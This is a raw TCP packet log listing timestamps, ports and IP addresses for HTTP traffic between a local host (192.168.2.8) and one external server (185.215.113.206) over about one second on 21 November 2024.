Nov 21, 2024 19:58:20.467636108 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.467833042 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.467885017 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.478125095 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.478179932 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.478389978 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.478442907 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.563379049 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.563469887 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.563498974 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.563528061 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.568583012 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.568638086 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.568746090 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.568803072 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.575337887 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.575377941 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.575397968 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.575421095 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.585784912 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.585860014 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.585917950 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.585963964 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.596263885 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.596318007 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.596318960 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.596371889 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.625233889 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.625298023 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.625302076 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.625338078 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.630130053 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.630177975 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.630323887 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.630383968 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.639697075 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.639763117 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.639827967 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.639878035 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.649430037 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.649481058 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.649530888 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.649580956 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.658962965 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.659013033 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.659095049 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.659143925 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.668651104 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.668704033 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.668704033 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.668744087 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.678191900 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.678241014 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.678333044 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.678385973 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.693128109 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.693192959 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.693232059 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.693281889 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.697321892 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.697377920 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.697408915 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.697457075 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.704747915 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.704855919 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.704906940 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.704926968 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.712426901 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.712482929 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.712557077 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.712604046 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.719448090 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.719506025 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.755399942 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.755501986 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.755616903 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.755676985 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.758829117 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.758923054 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.758944035 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.758991003 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.765202045 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.765281916 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.765387058 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.765440941 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.771682978 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.771795988 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.771857977 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.778338909 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.778460026 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.778469086 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.778502941 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.784878016 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.784945011 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.785036087 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.785104990 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.791368961 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.791440964 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.791454077 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.791487932 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.797991991 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.798043013 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.798242092 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.798291922 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.804290056 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.804550886 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.804635048 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.817590952 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.817653894 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.817831993 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.819850922 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.819916010 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.819952965 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.820060968 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.823482990 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.823582888 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.823595047 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.823682070 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.827430964 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.827533960 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.827543020 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.827593088 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.831298113 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.831392050 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.831459999 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.834943056 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.835032940 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.835093021 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.838810921 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.838886023 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.838958025 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.842305899 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.842379093 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.842395067 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.842423916 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.845954895 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.846026897 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.846059084 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.846165895 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.884999990 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.885054111 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.885155916 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.885488987 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.886784077 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.886926889 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.886980057 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.890491009 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.890585899 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.890635967 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.894206047 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.894293070 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.894341946 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.897938013 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.898008108 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.898065090 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.901565075 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.901768923 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.901875973 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.960449934 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.960464954 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.960516930 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.961755037 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.961797953 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.961889029 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.962070942 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.964437962 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.964493990 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.964526892 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.965853930 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.967073917 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.967148066 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.967236042 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.967422009 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.969758987 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.969860077 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.969948053 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.970019102 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.972395897 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.972522020 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.972553015 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.972573042 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.974889994 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.975008011 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.975068092 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.977421045 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.977475882 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.977536917 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.979938030 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.980031013 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.980093956 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.982465982 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.982517004 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.982589960 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.983607054 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.985027075 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.985071898 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.985084057 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.985116959 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.987541914 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.987596989 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.987642050 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.987919092 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.990052938 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.990170002 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.990222931 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.992624044 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.992695093 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.992748022 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.995114088 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.995193005 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.995228052 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.995300055 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.997704029 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.997828007 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:20.997848988 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:20.997874022 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.000277042 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.000439882 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.000490904 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.002763033 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.002839088 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.010166883 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.010207891 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.010238886 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.010258913 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.011362076 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.011513948 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.011567116 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.013808012 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.013904095 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.013994932 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.016139030 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.016230106 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.016283989 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.018496037 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.018599987 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.018651962 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.020879030 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.020958900 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.020967960 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.021850109 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.023302078 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.023355007 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.023406029 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.023452044 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.025582075 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.025631905 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.025774956 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.025816917 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.027982950 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.028121948 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.028172970 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.030164003 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.030276060 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.030325890 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.032464981 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.032515049 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.032536030 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.033845901 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.034746885 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.034792900 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.034910917 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.034954071 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.037053108 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.037147045 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.037194967 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.039258957 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.039405107 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.039450884 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.041533947 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.041610003 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.041639090 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.041692019 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.043821096 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.043869972 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.043899059 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.043997049 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.046101093 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.046153069 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.046221972 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.046276093 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.048420906 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.049844980 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.076807022 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.076852083 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.076975107 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.077395916 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.077460051 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.077478886 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.077532053 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.079669952 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.079790115 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.079858065 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.082043886 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.082132101 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.082195997 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.084300041 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.084513903 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.084595919 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.086503029 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.086555004 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.086612940 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.088768005 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.088820934 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.088877916 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.089848995 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.091039896 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.091085911 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.091212988 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.091258049 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.093307972 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.093391895 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.093437910 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.095607996 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.095691919 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.095741987 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.097914934 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.097980976 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.098035097 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.100177050 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.100210905 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.100229025 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.100255966 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.102391005 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.105850935 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.152503014 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.152594090 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.152689934 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.152728081 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.153335094 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.153392076 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.153460026 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.153507948 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.154973030 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.155025959 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.155085087 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.155138969 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:21.156629086 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.156682968 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:21.156687975 CET	49704	80	192.168.2.8	185.215.113.206
